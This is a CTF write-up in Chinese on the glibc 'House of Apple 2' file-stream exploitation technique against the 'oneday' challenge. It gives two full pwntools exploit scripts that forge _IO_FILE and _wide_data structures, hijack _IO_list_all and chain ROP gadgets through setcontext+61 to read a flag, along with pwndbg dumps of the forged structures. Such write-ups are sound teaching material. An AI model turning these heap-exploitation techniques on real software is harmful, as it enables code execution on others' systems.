前言
刚学完house of apple1,今天来学习一下house of apple2,在看roderick01师傅博客并跟着调试了一下后,我又有了一种在apple2调用链基础上改进的一种新做法,本文先讲一下原apple2的做法,再拓展一种利用方式。例题:pwn_oneday。libc版本:原apple2为2.35,我发现的做法的libc为2.34,但在2.35也能行。
程序不再分析,可参考我的apple1,house of apple1_KingKi1L3r的博客-CSDN博客
或者roderick01师傅博客[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
原apple2
调用链:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
利用_IO_wfile_overflow函数控制程序执行流的设置
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./apple')
elf=ELF('./apple')
libc=ELF('/home/lyp/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6')
small = 1
medium = 2
large = 3
def info(a,b):
log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
p.sendlineafter('enter your command: ', str(index))
def add(choice):
menu(1)
p.sendlineafter('choise: ', str(choice))
def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))
def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendafter('Message: ', content)
def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small) # 2 0x555555606810
delete(2)
delete(1)
delete(0)
add(small) # 3
add(small) # 4
add(small) # 5 0x5555556067f0
add(small) # 6
delete(3)
delete(5)
show(3)
p.recvuntil('Message:')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x219ce0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)
_IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
_IO_lock = libc_base + 0x21ba60
fake_IO_FILE = heap_base + 0x1810
setcontext = libc_base + libc.sym['setcontext']
pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
ret=pop_rdi_ret+1
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529
syscall_ret = libc_base + 0x00000000000EC0B9
delete(4)
delete(6)
add(large) # 7
add(small) # 8 0x5555556067e0
add(small) # 9
delete(8)
add(large) # 10
f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.flags = p64(heap_base+0x2000)
f1._IO_save_base=p64(heap_base+0x1a00)
f1._lock = _IO_lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps
data = {
0x8: _IO_list_all - 0x20,
0x10: {
0: bytes(f1),
0xe0: {
0x18: 0,
0x30: 0,
0xa0:heap_base+0x1d00,
0xa8:ret,
0xe0: fake_IO_FILE+0x200,
},
0x200: {
0x68:setcontext+61
},
0x300: {
0x0:0,
0x10:'flag\x00\x00\x00\x00',
0x20:setcontext+61
},
0x4f0:[
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
heap_base+0x1b20,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret
]
},
0xa90: [0, 0xab1]
}
data = flat(data).ljust(0xaa0, b'\x00')
edit(5,data)
delete(2)
# gdb.attach(p)
add(large)
menu(9)
p.interactive()
具体思路参考roderick01师傅博客,这里展示一下exp的执行流程以及伪造的几个结构体。
动态调试
几个结构体
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = -1629184000,
_IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,
_IO_read_end = 0x7f2abeef4270 <main_arena+1520> "`B\357\276*\177",
_IO_read_base = 0x55d79ee497e0 "",
_IO_write_base = 0x55d79ee497e0 "",
_IO_write_ptr = 0x7f2abeef4660 <_nl_global_locale+224> "\327A\353\276*\177",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x55d79ee49a00 "daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagm\332Ҿ*\177",
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f2abeef5a60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x55d79ee498f0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f2abeef00c0 <_IO_wfile_jumps>
}
pwndbg> p *(struct _IO_wide_data *)0x5652f98098f0
$2 = {
_IO_read_ptr = 0x6361616c6361616b <error: Cannot access memory at address 0x6361616c6361616b>,
_IO_read_end = 0x6361616e6361616d <error: Cannot access memory at address 0x6361616e6361616d>,
_IO_read_base = 0x636161706361616f <error: Cannot access memory at address 0x636161706361616f>,
_IO_write_base = 0x0,
_IO_write_ptr = 0x6361617463616173 <error: Cannot access memory at address 0x6361617463616173>,
_IO_write_end = 0x6361617663616175 <error: Cannot access memory at address 0x6361617663616175>,
_IO_buf_base = 0x0,
_IO_buf_end = 0x6461617a63616179 <error: Cannot access memory at address 0x6461617a63616179>,
_IO_save_base = 0x6461616364616162 <error: Cannot access memory at address 0x6461616364616162>,
_IO_backup_base = 0x6461616564616164 <error: Cannot access memory at address 0x6461616564616164>,
_IO_save_end = 0x6461616764616166 <error: Cannot access memory at address 0x6461616764616166>,
_IO_state = {
__count = 1684103528,
__value = {
__wch = 1684103529,
__wchb = "iaad"
}
},
_IO_last_state = {
__count = 1684103530,
__value = {
__wch = 1684103531,
__wchb = "kaad"
}
},
_codecvt = {
__cd_in = {
step = 0x6461616d6461616c,
step_data = {
__outbuf = 0x6461616f6461616e <error: Cannot access memory at address 0x6461616f6461616e>,
__outbufend = 0x6461617164616170 <error: Cannot access memory at address 0x6461617164616170>,
__flags = 1684103538,
__invocation_counter = 1684103539,
__internal_use = 1684103540,
__statep = 0x6461617764616176,
__state = {
__count = 1684103544,
__value = {
__wch = 1684103545,
__wchb = "yaad"
}
}
}
},
__cd_out = {
step = 0x5652f9809d00,
step_data = {
__outbuf = 0x7fb79ab363e6 <iconv+198> "\303f\017\037\204",
__outbufend = 0x6561616665616165 <error: Cannot access memory at address 0x6561616665616165>,
__flags = 1700880743,
__invocation_counter = 1700880744,
__internal_use = 1700880745,
__statep = 0x6561616c6561616b,
__state = {
__count = 1700880749,
__value = {
__wch = 1700880750,
__wchb = "naae"
}
}
}
}
},
_shortbuf = L"\x6561616f",
_wide_vtable = 0x5652f9809a10
}
pwndbg> p *(const struct _IO_jump_t *)0x56037caeba10
$4 = {
__dummy = 7377284769926701416,
__dummy2 = 7377284778516636010,
__finish = 0x6661616d6661616c,
__overflow = 0x6661616f6661616e,
__underflow = 0x6661617166616170,
__uflow = 0x6661617366616172,
__pbackfail = 0x6661617566616174,
__xsputn = 0x6661617766616176,
__xsgetn = 0x6661617966616178,
__seekoff = 0x676161626761617a,
__seekpos = 0x6761616467616163,
__setbuf = 0x6761616667616165,
__sync = 0x6761616867616167,
__doallocate = 0x7f0714452a6d <setcontext+61>,
__read = 0x6761616c6761616b,
__write = 0x6761616e6761616d,
__seek = 0x676161706761616f,
__close = 0x6761617267616171,
__stat = 0x6761617467616173,
__showmanyc = 0x6761617667616175,
__imbue = 0x6761617867616177
}
完整调用链:exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wfile_overflow
==>_IO_wdoallocbuf
si进入
si进入
si进入
si进入
si进入
这里就进入我们控制的调用链了
si进入
si进入
成功劫持。
特别注意
在2.35版本环境下运行,这里有一个mov rdx qword ptr [rdi+0xa0],可以通过这个语句控制rdx,然后直接call setcontext+61即可劫持 ,但是我用2.34版本做的时候却遇到了一个问题
他这里传参居然是传给了rax,那就意味着我们不能直接控制rdx进行FSOP,本来想通过一个gadget控制rdi间接控制rdx(下方代码里的magic_gadget),但是发现rdi恒为edit的堆块的地址,而rdi+8处就是这个堆块的size,于是这种只用一个gadget的方法是不行了,这个问题卡了很长时间,于是我选择找一些其他可以利用的gadget(下方代码里magic与magic_gadget联合使用)。那么下面就介绍一下在apple2基础上的一些改进。
apple2的改进(KingKi1L3r)
调用链
这个依旧走的是
_IO_wfile_overflow
_IO_wdoallocbuf
不过之后就开始执行我布置好的一系列gadget,从而控制rdx的值。
exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./oneday')
elf=ELF('./oneday')
libc=elf.libc
small = 1
medium = 2
large = 3
def info(a,b):
log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
p.sendlineafter('enter your command: ', str(index))
def add(choice):
menu(1)
p.sendlineafter('choise: ', str(choice))
def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))
def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendafter('Message: ', content)
def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small) # 2 0x555555606810
delete(2)
delete(1)
delete(0)
add(small) # 3
add(small) # 4
add(small) # 5 0x5555556067f0
add(small) # 6
delete(3)
delete(5)
show(3)
p.recvuntil('Message:')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)
_IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
_IO_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810
puts=libc_base+libc.sym['puts']
setcontext = libc_base + libc.sym['setcontext']
system=libc_base+libc.sym['system']
ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
ret=pop_rdi_ret+1
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6
onegadget=[0xda7c1,0xda7c4,0xda7c7]
ogg=libc_base+onegadget[2]
magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]
magic=libc_base+0x1482BA
delete(4)
delete(6)
add(large) # 7
add(small) # 8 0x5555556067e0
add(small) # 9
delete(8)
add(large) # 10
f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.flags = p64(heap_base+0x2000)
f1._IO_save_base=p64(heap_base+0x1a00)
f1._lock = _IO_lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps
data = {
0x8: _IO_list_all - 0x20,
0x10: {
0: bytes(f1),
0xe0: {
0x18: 0,
0x30: 0,
0xe0: fake_IO_FILE+0x200,
0x110:0x20,
# 0x120:heap_base+0x1d00
# 0x128:heap_base+0x1a00,
# 0x138:magic_gadget
},
0x200: {
0x0:heap_base+0x1d00,
0x8:heap_base+0x1a00,
0x10:setcontext+61,
0x18:magic_gadget,
0x68:magic,
0x90:heap_base+0x1d10,
0x98:ret
},
0x300: {
0x0:0,
0x8:heap_base+0x300,
0x10:'flag\x00\x00\x00\x00',
0x20:setcontext+61
},
0x500:[
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
heap_base+0x1b20,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret
]
},
0xa90: [0, 0xab1]
}
data = flat(data).ljust(0xaa0, b'\x00')
edit(5,data)
delete(2)
# gdb.attach(p)
add(large)
gdb.attach(p)
menu(9)
p.interactive()
具体利用不再赘述,直接看调用过程吧。
动态调试
完整调用链:
exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wfile_overflow
==>_IO_wdoallocbuf==>svcudp_reply+26==>getkeyserv_handle+528
si进入
si进入
si进入
si进入
si进入
到这里就进入我们控制的调用链
si进入
注意这里修改的是rax而不是rdx
si进入
这里就进入了我们布置的第一个gadget
si进入
这是第一个gadget的执行,只要精心布置堆就可以首先实现对rdi的控制,接下来进入我们布置的第二个gadget。
这里我们看一下寄存器的值
以及此时rdx+0xa0和rdx+0xa8
正好是我们布置的orw的地址和ret的地址
si进入setcontext+61
成功劫持!
总结
由于刚开始做apple2用的libc2.34,利用roderick01师傅提出的利用链无法直接实现对rdx或者rdi的控制,于是通过寻找多个gadget当跳板去修改rdi和rdx的值,最后通过setcontext+61进行orw。而我又看了libc2.35在此处的汇编,发现寄存器发生了变化,2.35版本直接传给了rdx,这就给了我们很大的方便,直接伪造_wide_data表即可。收获颇多!